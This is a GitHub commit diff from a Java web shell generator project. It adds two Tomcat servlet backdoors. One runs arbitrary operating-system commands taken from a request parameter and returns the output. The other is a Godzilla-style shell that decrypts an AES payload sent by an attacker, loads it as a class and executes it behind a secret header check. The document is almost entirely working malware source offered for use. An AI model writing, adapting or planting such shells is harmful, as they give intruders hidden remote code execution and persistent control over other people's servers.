-
Notifications
You must be signed in to change notification settings - Fork 54
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
- Loading branch information
Showing
12 changed files
with
525 additions
and
9 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
40 changes: 40 additions & 0 deletions
40
generator/src/main/java/com/reajason/javaweb/memsell/tomcat/command/CommandServlet.java
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| Original file line number | Diff line number | Diff line change |
|---|---|---|
| @@ -0,0 +1,40 @@ | ||
| package com.reajason.javaweb.memsell.tomcat.command; | ||
|
|
||
| import javax.servlet.ServletException; | ||
| import javax.servlet.ServletOutputStream; | ||
| import javax.servlet.http.HttpServlet; | ||
| import javax.servlet.http.HttpServletRequest; | ||
| import javax.servlet.http.HttpServletResponse; | ||
| import java.io.IOException; | ||
| import java.io.InputStream; | ||
|
|
||
| /** | ||
| * @author ReaJason | ||
| * @since 2024/12/15 | ||
| */ | ||
| public class CommandServlet extends HttpServlet { | ||
| public String paramName = "{{paramName}}"; | ||
|
|
||
| @Override | ||
| protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { | ||
| doPost(req, resp); | ||
| } | ||
|
|
||
| @Override | ||
| protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { | ||
| try { | ||
| String cmd = request.getParameter(paramName); | ||
| if (cmd != null) { | ||
| Process exec = Runtime.getRuntime().exec(cmd); | ||
| InputStream inputStream = exec.getInputStream(); | ||
| ServletOutputStream outputStream = response.getOutputStream(); | ||
| byte[] buf = new byte[8192]; | ||
| int length; | ||
| while ((length = inputStream.read(buf)) != -1) { | ||
| outputStream.write(buf, 0, length); | ||
| } | ||
| } | ||
| } catch (Exception ignored) { | ||
| } | ||
| } | ||
| } |
139 changes: 139 additions & 0 deletions
139
generator/src/main/java/com/reajason/javaweb/memsell/tomcat/godzilla/GodzillaServlet.java
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| Original file line number | Diff line number | Diff line change |
|---|---|---|
| @@ -0,0 +1,139 @@ | ||
| package com.reajason.javaweb.memsell.tomcat.godzilla; | ||
|
|
||
| import javax.crypto.Cipher; | ||
| import javax.crypto.spec.SecretKeySpec; | ||
| import javax.servlet.*; | ||
| import javax.servlet.http.HttpServletRequest; | ||
| import javax.servlet.http.HttpServletResponse; | ||
| import javax.servlet.http.HttpSession; | ||
| import java.io.ByteArrayOutputStream; | ||
| import java.io.IOException; | ||
|
|
||
| /** | ||
| * @author ReaJason | ||
| * @since 2024/12/15 | ||
| */ | ||
| public class GodzillaServlet extends ClassLoader implements Servlet { | ||
|
|
||
| public String key = "{{key}}"; | ||
| public String pass = "{{pass}}"; | ||
| public String md5 = "{{md5}}"; | ||
| public String headerName = "{{headerName}}"; | ||
| public String headerValue = "{{headerValue}}"; | ||
|
|
||
| @Override | ||
| public void service(ServletRequest req, ServletResponse res) throws ServletException, IOException { | ||
| HttpServletRequest request = (HttpServletRequest) req; | ||
| HttpServletResponse response = (HttpServletResponse) res; | ||
| try { | ||
| if (request.getHeader(headerName) != null && request.getHeader(headerName).contains(headerValue)) { | ||
| HttpSession session = request.getSession(); | ||
| byte[] data = base64Decode(request.getParameter(pass)); | ||
| data = this.x(data, false); | ||
| if (session.getAttribute("payload") == null) { | ||
| session.setAttribute("payload", (new GodzillaServlet(this.getClass().getClassLoader())).Q(data)); | ||
| } else { | ||
| request.setAttribute("parameters", data); | ||
| ByteArrayOutputStream arrOut = new ByteArrayOutputStream(); | ||
| Object f; | ||
| try { | ||
| f = ((Class<?>) session.getAttribute("payload")).newInstance(); | ||
| } catch (InstantiationException | IllegalAccessException e) { | ||
| throw new RuntimeException(e); | ||
| } | ||
| f.equals(arrOut); | ||
| f.equals(request); | ||
| response.getWriter().write(md5.substring(0, 16)); | ||
| f.toString(); | ||
| response.getWriter().write(base64Encode(this.x(arrOut.toByteArray(), true))); | ||
| response.getWriter().write(md5.substring(16)); | ||
| } | ||
|
|
||
| } | ||
| } catch (Exception ignored) { | ||
|
|
||
| } | ||
| } | ||
|
|
||
| @Override | ||
| public String getServletInfo() { | ||
| return ""; | ||
| } | ||
|
|
||
| @Override | ||
| public void destroy() { | ||
|
|
||
| } | ||
|
|
||
| public GodzillaServlet() { | ||
| } | ||
|
|
||
| public GodzillaServlet(ClassLoader parent) { | ||
| super(parent); | ||
| } | ||
|
|
||
| @SuppressWarnings("all") | ||
| public Class<?> Q(byte[] cb) { | ||
| return super.defineClass(cb, 0, cb.length); | ||
| } | ||
|
|
||
| public byte[] x(byte[] s, boolean m) { | ||
| try { | ||
|
|
||
| Cipher c = Cipher.getInstance("AES"); | ||
| c.init(m ? 1 : 2, new SecretKeySpec(key.getBytes(), "AES")); | ||
| return c.doFinal(s); | ||
| } catch (Exception var4) { | ||
| return null; | ||
| } | ||
| } | ||
|
|
||
|
|
||
| @SuppressWarnings("all") | ||
| public static String base64Encode(byte[] bs) throws Exception { | ||
| String value = null; | ||
| Class<?> base64; | ||
| try { | ||
| base64 = Class.forName("java.util.Base64"); | ||
| Object encoder = base64.getMethod("getEncoder", (Class<?>[]) null).invoke(base64, (Object[]) null); | ||
| value = (String) encoder.getClass().getMethod("encodeToString", byte[].class).invoke(encoder, bs); | ||
| } catch (Exception var6) { | ||
| try { | ||
| base64 = Class.forName("sun.misc.BASE64Encoder"); | ||
| Object encoder = base64.newInstance(); | ||
| value = (String) encoder.getClass().getMethod("encode", byte[].class).invoke(encoder, bs); | ||
| } catch (Exception ignored) { | ||
| } | ||
| } | ||
| return value; | ||
| } | ||
|
|
||
| @SuppressWarnings("all") | ||
| public static byte[] base64Decode(String bs) { | ||
| byte[] value = null; | ||
| Class<?> base64; | ||
| try { | ||
| base64 = Class.forName("java.util.Base64"); | ||
| Object decoder = base64.getMethod("getDecoder", (Class<?>[]) null).invoke(base64, (Object[]) null); | ||
| value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs); | ||
| } catch (Exception var6) { | ||
| try { | ||
| base64 = Class.forName("sun.misc.BASE64Decoder"); | ||
| Object decoder = base64.newInstance(); | ||
| value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs); | ||
| } catch (Exception ignored) { | ||
| } | ||
| } | ||
| return value; | ||
| } | ||
|
|
||
| @Override | ||
| public void init(ServletConfig config) throws ServletException { | ||
|
|
||
| } | ||
|
|
||
| @Override | ||
| public ServletConfig getServletConfig() { | ||
| return null; | ||
| } | ||
| } |
Oops, something went wrong.